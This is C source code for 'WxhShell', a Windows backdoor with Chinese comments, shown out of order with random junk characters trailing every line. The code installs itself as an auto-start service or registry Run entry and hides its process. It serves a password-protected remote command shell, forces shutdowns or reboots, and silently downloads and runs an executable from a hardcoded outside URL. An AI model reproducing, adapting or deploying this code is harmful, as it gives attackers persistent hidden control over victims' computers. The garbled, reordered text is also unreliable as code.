  // 关机 l E=(6Q  
  case 'd': { Aw~ =U!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \1cay#X  
    if(Boot(SHUTDOWN)) w=Ac/ 12  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`^ 7Bk.r  
    else { y{ %2Q)  
    closesocket(wsh); +F.{:  
    ExitThread(0); : W6`{Z  
    } tgSl (.  
    break; {VtmQU? cJ  
    } _y*@Hj  
  // 获取shell XP'<\  
  case 's': { <E/4/ ANN  
    CmdShell(wsh); d7waBsf  
    closesocket(wsh); e&sZ]{uD  
    ExitThread(0); yB0xa%  
    break; R?MRRq  
  } xucrp::g  
  // 退出 GOrDDp  
  case 'x': {  mo+zq~,M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;,2i1m0"  
    CloseIt(wsh); E[q:65xl  
    break; $;7,T~{  
    } cCx@VT`0  
  // 离开 ko<u0SjF)u  
  case 'q': { B=14 hY@`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j3>0oe!  
    closesocket(wsh); `#@#e Z  
    WSACleanup(); -' :;0  
    exit(1); ]nPfIBoS  
    break; >=Bl/0YH  
        } v~E\u  
  } 6d~[j <@2  
  } X 4L"M%i  
[0c7fH`8V  
  // 提示信息 TwPp Z@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zplAH!s5''  
} S $j"'K  
  } W5i{W'  
hc7"0mVd{  
  return; +vf~s^  
} T{ WJf-pI  
ZkWX4?&OMt  
// shell模块句柄 WAq)1gwN  
int CmdShell(SOCKET sock) !s^[|2D_U  
{ 7sypU1V6  
STARTUPINFO si; ]bcAbCZ@  
ZeroMemory(&si,sizeof(si)); 7Eb | AR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !O )je>A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r? 9D/|`  
PROCESS_INFORMATION ProcessInfo; S<*h1}V3/  
char cmdline[]="cmd"; 7QSr C/e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,:[\h\5m  
  return 0; 0G; b+  
} gvzBV +3'  
B1^9mV'O  
// 自身启动模式 r4MPs-}oF  
int StartFromService(void) >o/+z18x  
{ B`<a~V  
typedef struct ,"e n7  
{ 7a0T]  
  DWORD ExitStatus; c"*xw8|  
  DWORD PebBaseAddress; LI}@qLe  
  DWORD AffinityMask; cG)U01/"  
  DWORD BasePriority; C>NLZM T  
  ULONG UniqueProcessId; F)8M9%g5m  
  ULONG InheritedFromUniqueProcessId; shk yN  
}   PROCESS_BASIC_INFORMATION; g9~QNA  
>DM^/EAG{  
PROCNTQSIP NtQueryInformationProcess; iQd,xr  
^7Z#g0{^w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2I[(UMI$7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z:1"d R   
R) ep1X^  
  HANDLE             hProcess; 6Pp3*O`/V  
  PROCESS_BASIC_INFORMATION pbi; %2@O,uCo@  
?3#L?Cq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }1kZF{KD<[  
  if(NULL == hInst ) return 0; O[Yc-4  
F_I.=zQr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YMG~k3Yb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kcu*Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QZwZ4$jkiO  
tkIpeL[d  
  if (!NtQueryInformationProcess) return 0; +b sc3  
pQ,|l$^m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W?H-Ng3E  
  if(!hProcess) return 0; f7_V ]  
>,6%Y3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zdfruzl&`  
]Uj7f4)k  
  CloseHandle(hProcess); aG&t gD{  
b[U;P=;=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B;64(Vsa8  
if(hProcess==NULL) return 0; 2}uSrA7n]  
2rGg  
HMODULE hMod; 4k_y;$4WN  
char procName[255]; % <1&\5f<5  
unsigned long cbNeeded; cj;k{ Moc  
$Wn!vbL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ JfQ}`  
'O^<i`8U]  
  CloseHandle(hProcess); *";O_ :C!  
k0bDEz.X  
if(strstr(procName,"services")) return 1; // 以服务启动 1v~1?+a\2  
wbQs>pc  
  return 0; // 注册表启动 _aP 2gH  
} ~ugyUpY"  
aY8QYK ;?^  
// 主模块 /Ue_1Efa  
int StartWxhshell(LPSTR lpCmdLine) [;Y*f,UG_-  
{ ruU &.mZ  
  SOCKET wsl; $tqr+1P  
BOOL val=TRUE; _T.T[%-&=  
  int port=0; ;9;jUQ]MyG  
  struct sockaddr_in door; HVz|*?&6  
O77^.B  
  if(wscfg.ws_autoins) Install(); K+<F, P  
i%GNm D  
port=atoi(lpCmdLine); yPoa04!{=  
e_+SBN1`P&  
if(port<=0) port=wscfg.ws_port; ' OXL'_Xl  
sl_f+h0  
  WSADATA data; TcpaZ 'x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G`r/ tesW  
?_`X8Ok  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !NO)|N>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aZ'(ar :  
  door.sin_family = AF_INET; |hD)=sCj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g[L}puN  
  door.sin_port = htons(port); P$v9  
y=&^=Z h[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LI9 Uc\  
closesocket(wsl); @(CJT-Ak  
return 1; 8 3Tv-X  
} r7+Ytr  
G%MdZg&i  
  if(listen(wsl,2) == INVALID_SOCKET) { Z8I0v$LjR  
closesocket(wsl); =rN_8&  
return 1; 9Pql\]9"o  
} 6KE?@3;Om  
  Wxhshell(wsl); U>hpYqf_  
  WSACleanup(); UO( ?EELm  
SnVb D<  
return 0; ~o27~R ]  
VXO.S)v2J  
} ]sD lZJX<M  
}u.I%{4  
// 以NT服务方式启动 S0WKEv@Hn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) avb'dx*q>  
{ =sUrSVUeU  
DWORD   status = 0; c7@[RG !  
  DWORD   specificError = 0xfffffff; Y' O3RA5E  
B8 r#o=q1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \:jJ{bl^A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `zOn(6B;U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Izdj*HL;A  
  serviceStatus.dwWin32ExitCode     = 0; GhR%fxe  
  serviceStatus.dwServiceSpecificExitCode = 0; AP9>_0=  
  serviceStatus.dwCheckPoint       = 0; 1T 8|>2m 3  
  serviceStatus.dwWaitHint       = 0; G O[u  
_F`RwBOjs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X\1.,]O >  
  if (hServiceStatusHandle==0) return; 8X# \T/U  
Q#PkfjXS  
status = GetLastError(); lnnT_[ni.  
  if (status!=NO_ERROR) zU2Mno  
{ M)G|K a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aa&\HDh*  
    serviceStatus.dwCheckPoint       = 0; &%;K_asV;  
    serviceStatus.dwWaitHint       = 0; $ S]l%  
    serviceStatus.dwWin32ExitCode     = status; Ap!Y 3C  
    serviceStatus.dwServiceSpecificExitCode = specificError; qS[KB\RN1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZjveXrx  
    return; fjLS_Q ;h  
  } C/ENJ&  
$q g/8G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !"SuE)WM  
  serviceStatus.dwCheckPoint       = 0; ]SL0Mn g8  
  serviceStatus.dwWaitHint       = 0; ys9'1+9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n{=Nf|=  
} >{eGSSG0  
"qhQJql  
// 处理NT服务事件,比如:启动、停止 HFW8x9Cc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >dfk2.6e  
{ #;hYJ Y  
switch(fdwControl) V5rW_X:]8  
{ [&+5E1%L  
case SERVICE_CONTROL_STOP: S8Yti  
  serviceStatus.dwWin32ExitCode = 0; M,g$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y))x'<T'Q  
  serviceStatus.dwCheckPoint   = 0; ?@H/;hB[|  
  serviceStatus.dwWaitHint     = 0; y\mK?eR  
  { (3N;-   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LfX[(FP  
  } l {t! LTf;  
  return; yZY.B {  
case SERVICE_CONTROL_PAUSE: !h>aP4ofT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &6^QFqqW`-  
  break; /^':5"=o  
case SERVICE_CONTROL_CONTINUE: %Wa. 2s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _$m1?DZ  
  break; =-;J2Qlg6  
case SERVICE_CONTROL_INTERROGATE: %YwIR.o  
  break; @(any ^QJ  
}; }5=tUfh)]'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); li&&[=6A  
} )BmO[AiOM  
p* tAwl  
// 标准应用程序主函数 6MmkEU z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5^Ps(8VbS  
{ &5Huv?^a'  
t{Z:N']H  
// 获取操作系统版本  4_d'Uh&]  
OsIsNt=GetOsVer(); 6.k>J{GG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !T~C=,;  
TSUT3'&~p  
  // 从命令行安装 +t*Ks_V,*  
  if(strpbrk(lpCmdLine,"iI")) Install(); qx`)M3Mu|<  
f~{4hVA  
  // 下载执行文件 E\vW>g*W  
if(wscfg.ws_downexe) { />dYkIv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xnPi'?A]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4+q3 Kw  
} ,7ZV;f 81  
6HRr 4NDcj  
if(!OsIsNt) { ,L$, d  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y(6p&I  
HideProc(); 9_l WB6  
StartWxhshell(lpCmdLine); QN^AihsPi  
} x?RYt4S  
else O9R[F  
  if(StartFromService()) 9;tY'32/  
  // 以服务方式启动 {v U;(eN  
  StartServiceCtrlDispatcher(DispatchTable); e<r}{=1w  
else T[eb<  
  // 普通方式启动 !EB[Lut m  
  StartWxhshell(lpCmdLine); #9(L/)^  
ev9ltl{  
return 0; @<C<rB8R  
} p #Y2v  
fm$)?E_Rp  
}S6"$R  
&z?:s  
=========================================== rixt_}aE  
@h!nVf%fe  
^e(*{K;8  
5?XIp6%x  
o>Q=V 0?  
KLCd`vr.xf  
" i?B(I4a!G  
r"&VG2c0K  
#include <stdio.h> @y(<4kLz  
#include <string.h> CC,CKb  
#include <windows.h> rVv4R/3+   
#include <winsock2.h> }$Z0v`  
#include <winsvc.h> lC'U3Q&  
#include <urlmon.h> => X"  
i^hEL2S/A  
#pragma comment (lib, "Ws2_32.lib") i2X%xYv ^  
#pragma comment (lib, "urlmon.lib") UQ}#=[)2e  
sU0W)c;  
#define MAX_USER   100 // 最大客户端连接数 V~fPp"F  
#define BUF_SOCK   200 // sock buffer pd}Cg'}X  
#define KEY_BUFF   255 // 输入 buffer MP$9W)  
?C(3TKH  
#define REBOOT     0   // 重启 uc]`^,`2/  
#define SHUTDOWN   1   // 关机  C^*3nd3  
$HP<C>^Z8  
#define DEF_PORT   5000 // 监听端口 I8Q!`K J  
o e,yCdPs  
#define REG_LEN     16   // 注册表键长度 Xhp={p;  
#define SVC_LEN     80   // NT服务名长度 ^~7ouA  
9z kRwrQ  
// 从dll定义API f]48>LRE8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PdSYFJM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PIM4c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); % 9} ?*U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AI#.G7'O  
"I0F"nQ  
// wxhshell配置信息 XU|>SOR@z  
struct WSCFG { FgnPh%[u  
  int ws_port;         // 监听端口 "-R19SpJKh  
  char ws_passstr[REG_LEN]; // 口令 0$=w8tP)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4~~G i`XE  
  char ws_regname[REG_LEN]; // 注册表键名 1Uk Gjw1J  
  char ws_svcname[REG_LEN]; // 服务名 bDjm:G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CqR^w(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l$ufW|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qm>2,={h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,*CPG$L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <5o oML]nP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F}c}I8Ao  
GBYwS{4  
}; ):7mK03J  
'q\[aKEX=  
// default Wxhshell configuration J=6( 4>  
struct WSCFG wscfg={DEF_PORT, KZGy&u >`  
    "xuhuanlingzhe", rmJ`^6V  
    1, NM+ (ss'  
    "Wxhshell", >>%E?'9A  
    "Wxhshell", c0QKx=  
            "WxhShell Service", `Jn2(+  
    "Wrsky Windows CmdShell Service", y&6 pc   
    "Please Input Your Password: ", (D2N_l(`<  
  1, .O6(QI*  
  "http://www.wrsky.com/wxhshell.exe", %/w%A:y#&  
  "Wxhshell.exe" Ni>!b6 Z`[  
    }; =fK6P6'B  
yR1v3D4E  
// 消息定义模块 d-`z1'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :: s k)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0SV4p.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Pa  y2  
char *msg_ws_ext="\n\rExit."; 7mA:~-.u  
char *msg_ws_end="\n\rQuit."; r<5i  
char *msg_ws_boot="\n\rReboot..."; Y|cj&<o  
char *msg_ws_poff="\n\rShutdown..."; gN .n _!  
char *msg_ws_down="\n\rSave to "; c' Q4Fzj0'  
om2)Cd9~7  
char *msg_ws_err="\n\rErr!"; E7  P'}  
char *msg_ws_ok="\n\rOK!"; d~#:t~ $,  
e#!p6+#"  
char ExeFile[MAX_PATH]; '$5Qdaj  
int nUser = 0; `J %35  
HANDLE handles[MAX_USER]; AmB*4p5b  
int OsIsNt; WSbD."p<  
g17 fge6%  
SERVICE_STATUS       serviceStatus; O96%U$W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "f:_(np,  
Ou{VDE  
// 函数声明 zg$NrI&  
int Install(void); /" @cv{  
int Uninstall(void); =F09@C,  
int DownloadFile(char *sURL, SOCKET wsh); }#2I/dn  
int Boot(int flag); 7V-uQ)*  
void HideProc(void); i2E@5 v=|Y  
int GetOsVer(void); v(;n|=O  
int Wxhshell(SOCKET wsl); `]F#j ]"  
void TalkWithClient(void *cs); Y2}m/7aF  
int CmdShell(SOCKET sock); 7)*q@  
int StartFromService(void); #|K5ma  
int StartWxhshell(LPSTR lpCmdLine); v9"03 =h  
(BGflb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SW7AG;c=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UB w*}p  
` >[Offhd  
// 数据结构和表定义 rPK1#  
SERVICE_TABLE_ENTRY DispatchTable[] = 6iS7Hao"  
{ u1`JvfLrL  
{wscfg.ws_svcname, NTServiceMain}, G UK %R C8  
{NULL, NULL} up2wkc8  
}; |!L0X@>  
o]<J&<WM  
// 自我安装 Dlg9PyQ  
int Install(void) c~u91h?  
{ !M}ZK(  
  char svExeFile[MAX_PATH]; YL/B7^fd8  
  HKEY key; Hb\['VhzM  
  strcpy(svExeFile,ExeFile); b1EY6'R2  
KM/c^ a4V  
// 如果是win9x系统,修改注册表设为自启动 ufJHC06  
if(!OsIsNt) { OlM3G^1e1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p8MN>pLP%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9\>{1"a  
  RegCloseKey(key); Sb^o`~ Eh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^1bM=9]F0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XA\wZV |{  
  RegCloseKey(key); V W(+sSQ  
  return 0; U% OlYP$g  
    } Q-KBQc  
  } {J-Ojw|Y b  
} H^+Znmo  
else { e17]{6y  
 NmTo/5s  
// 如果是NT以上系统,安装为系统服务 ''}2JJU{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vG~JK[  
if (schSCManager!=0) s#FX2r3=Fg  
{ ;N!opg))d<  
  SC_HANDLE schService = CreateService o,'Fz?[T%  
  (  CP Ju=  
  schSCManager, Va^(cnwa  
  wscfg.ws_svcname, yC7lR#N8j0  
  wscfg.ws_svcdisp, lT_dzO  
  SERVICE_ALL_ACCESS, .9q`Tf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RO| }WD)  
  SERVICE_AUTO_START, +|qw>1J(  
  SERVICE_ERROR_NORMAL, x!fgZr{  
  svExeFile, Esf\Bo"  
  NULL, EP{/]T  
  NULL, (#nB90E{*  
  NULL, `!<#'PR  
  NULL, nZ[`Yrq)0  
  NULL VYkUUp  
  ); @_ Tq>tOr&  
  if (schService!=0) =l>=]O~h  
  { VyWzb  
  CloseServiceHandle(schService); n$<n Yr`X  
  CloseServiceHandle(schSCManager); {/i&o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *RFBLCt  
  strcat(svExeFile,wscfg.ws_svcname); r-,u)zf"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *9 (E0"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3-BC4y/  
  RegCloseKey(key); =d/$B!t{  
  return 0; P?Kg7m W  
    } T }Wse{  
  } 9JO1O:W  
  CloseServiceHandle(schSCManager); TPmb]j  
} 7#C3E$gn?  
} ,%U\@*6=  
Y^eF(  
return 1; !e}4>!L,(^  
} o_&Qb^W  
|k]fY*z(  
// 自我卸载 X?Or.  
int Uninstall(void) .\8LL,zT  
{ 1V-sibE  
  HKEY key; eE@7AM  
j |LOg  
if(!OsIsNt) { %$=2tfR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fni7HBV?  
  RegDeleteValue(key,wscfg.ws_regname); szp.\CMz  
  RegCloseKey(key); sU/vXweky"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NMESGNa)z  
  RegDeleteValue(key,wscfg.ws_regname); 9]:F!d/  
  RegCloseKey(key); eQ<G Nvm  
  return 0; .M0pb^M  
  } bSa]={}L(  
} <tdsUh:?&  
} 0@RVM|  
else { 3e1%G#fu  
7{38g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )*&61  
if (schSCManager!=0) NG: f>R  
{ f/U~X;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (#+81 Dr  
  if (schService!=0) y w:=$e5  
  { AI-ZZ6lzR  
  if(DeleteService(schService)!=0) { fJ+4H4K  
  CloseServiceHandle(schService); lXXWQ=  
  CloseServiceHandle(schSCManager); M,we,!B0  
  return 0; !\\OMAf7  
  } *!yA'z<  
  CloseServiceHandle(schService); 3*-!0  
  } ld#YXJ;P.k  
  CloseServiceHandle(schSCManager); Lm+E?Ca  
} #wJ^:r-c`  
} E5Lq-   
er<_;"`1  
return 1; /!U(/  
} 8:K_S a%  
XpPcQIM*  
// 从指定url下载文件 n(_wt##wE~  
int DownloadFile(char *sURL, SOCKET wsh) G`f|#-}  
{ cbW=kQc_  
  HRESULT hr; qNUd "%S  
char seps[]= "/"; VH] <o0  
char *token; |(uo@-U  
char *file; V-18~+F~"a  
char myURL[MAX_PATH]; n!U1cB{  
char myFILE[MAX_PATH]; 79B+8= K  
C|]Zpn#{K  
strcpy(myURL,sURL); u$qazj  
  token=strtok(myURL,seps); Y6 a9S`o  
  while(token!=NULL) G6qFAepwi  
  { }S{VR(i`J  
    file=token; F <{k~   
  token=strtok(NULL,seps); 6iY(RYZ7-  
  } 5kCXy$"%  
nLR   
GetCurrentDirectory(MAX_PATH,myFILE); % @!hf!  
strcat(myFILE, "\\"); >RrG&Wv59  
strcat(myFILE, file); gp+@+i>b+[  
  send(wsh,myFILE,strlen(myFILE),0); zuF]E+  
send(wsh,"...",3,0); lU`t~|>r+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,M :j5  
  if(hr==S_OK) p{&o{+c  
return 0; 'tt4"z2  
else zL3I!& z2  
return 1; TRr%]qd{Hr  
e@PY(#ru  
} [_*?~  
l0E]#ra"  
// 系统电源模块 I0G[K~gb  
int Boot(int flag) \)W Z D  
{ 4D6LP*  
  HANDLE hToken; kJ)Z{hy  
  TOKEN_PRIVILEGES tkp; Ob]J!.  
CDT;AdRw7  
  if(OsIsNt) { #<es>~0!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); me90|GOx+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O 2/_$i[F  
    tkp.PrivilegeCount = 1; azG"Mt |7Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b]*OGp4]5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }\1IsK~P  
if(flag==REBOOT) { &td   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f67t.6Vw2+  
  return 0; Su<>UsdUC  
} VdGpreRPC  
else { [4+I1UR`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #Vy:6O  
  return 0; ViU5l*n;  
} <:!:7  
  } PmtXD6p3(  
  else { Lc(eY{CY  
if(flag==REBOOT) { [{zfI`6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BY@l:y4  
  return 0; Yi <1z:\  
} (^58$IW71  
else { zX6Q7Bc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4r#4h4`y|  
  return 0; "i&9RA! 1  
} f[?JLp   
} @0%[4  
*DQa6,b  
return 1; /)sP<WPQ 6  
} F6_e n z  
DeI3(o7  
// win9x进程隐藏模块 B/Ltb^a  
void HideProc(void) 9zm2}6r4  
{ QkYKm<b  
NTVaz.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9)uJ\NMy  
  if ( hKernel != NULL ) At&kW3(  
  { ,lVQ-qw5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,x?Jrcx~'C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); < Yc)F.:  
    FreeLibrary(hKernel); -8v:eyc  
  } {: =]J4]  
H;#C NB<e  
return; /h@3R[k  
} 5yjG\ ~  
NHe[,nIV  
// 获取操作系统版本 U#{(*)qr  
int GetOsVer(void) WwUHHm<v  
{ !t?5U_on  
  OSVERSIONINFO winfo; |O;vWn'U2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~.z82m  
  GetVersionEx(&winfo); )"_&CYnd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7c8`D;A-K  
  return 1; y[GqV_~?Y  
  else t+M'05-U2  
  return 0; ; O ~%y'  
} QY*F(S,\  
b"Jr_24t3v  
// 客户端句柄模块 QQD7NN>  
int Wxhshell(SOCKET wsl) x:c'ek  
{ )5u#'5I>  
  SOCKET wsh; .R^ R|<x  
  struct sockaddr_in client; iu2O/l# r  
  DWORD myID; Z:diM$Z?7  
d+"F(R9  
  while(nUser<MAX_USER) cv. j  
{ h-U]?De5\  
  int nSize=sizeof(client); qKE+,g'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yh'*eli  
  if(wsh==INVALID_SOCKET) return 1; -J0I2D  
S|?P#.=GX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g'2}Y5m$`  
if(handles[nUser]==0) {7` 1m!R  
  closesocket(wsh); ;D@F  
else gUYTVp Vf  
  nUser++; a%`L+b5-$  
  } )~IOsTjI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Qq YH^M  
X]dN1/_  
  return 0; EAE#AB-A  
} w=^~M[%w  
)( pgJLW  
// 关闭 socket ]ZH6 .@|  
void CloseIt(SOCKET wsh) HcrlcxwM\i  
{ 4\j1+&W   
closesocket(wsh); 1B$8<NCQ=?  
nUser--; mRN[l j  
ExitThread(0); tg<bVA)E'J  
} \\C!{}+  
U*XdFH}vV  
// 客户端请求句柄 <[=[|DS l  
void TalkWithClient(void *cs) 8C*xrg#g:  
{ sXYXBX[  
5C9 .h:c4y  
  SOCKET wsh=(SOCKET)cs; rS+ >oP}  
  char pwd[SVC_LEN]; olm'_ {{  
  char cmd[KEY_BUFF]; ZgmK~iJ  
char chr[1]; {fY(zHC  
int i,j; >y$*|V}k  
=E:sEw2j  
  while (nUser < MAX_USER) { 4b}'W}  
[ Scao $  
if(wscfg.ws_passstr) { O%<+&Q7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h;mOfF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '-#gQxIpD  
  //ZeroMemory(pwd,KEY_BUFF); *z]P|_:&G  
      i=0; @6-3D/=  
  while(i<SVC_LEN) { @KJmNM1]V  
&a6-+r  
  // 设置超时 X5= Ki $+  
  fd_set FdRead; [ C!m,4  
  struct timeval TimeOut; e~nh95  
  FD_ZERO(&FdRead); I<" UQ\)  
  FD_SET(wsh,&FdRead); iZ0(a   
  TimeOut.tv_sec=8; :Ye~I;" 8  
  TimeOut.tv_usec=0; Hi U/fi`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #v4^,$k>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4-9cp=\PE  
sosIu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kmt+E'^]  
  pwd=chr[0]; 4$4Tx9C  
  if(chr[0]==0xd || chr[0]==0xa) { Psm9hP :m  
  pwd=0; wQM( |@zE}  
  break; U^-RyE!}  
  } r l;Y7l  
  i++; Y 2^y73&k  
    } 7w\!3pv  
z_). -  
  // 如果是非法用户,关闭 socket 5G z~,_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a;(,$q3M  
} ^}kYJvqA  
-:wV3D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @f-rS{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X.rbJyKe  
z; >O5a>z  
while(1) { xX~m Fz0C  
5oOs.(m|*C  
  ZeroMemory(cmd,KEY_BUFF); tq*{Hil>P`  
]ed7Q3lq  
      // 自动支持客户端 telnet标准   [?da BXS  
  j=0; :ra[e(l9  
  while(j<KEY_BUFF) { `g{eWY1l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Uj,, y.wB  
  cmd[j]=chr[0]; YL[y3&K  
  if(chr[0]==0xa || chr[0]==0xd) { <4^y7]] F  
  cmd[j]=0; u%Z4 8wr  
  break; aZmbt,.V  
  } {q&A/  
  j++; p4K 8L'nZ  
    } @s\}ER3  
=4Jg6JKYg  
  // 下载文件 2O2d*Ld>  
  if(strstr(cmd,"http://")) { (unJwh{7Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~\zIb/ #  
  if(DownloadFile(cmd,wsh)) _b &Aa%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ON"V`_dq+M  
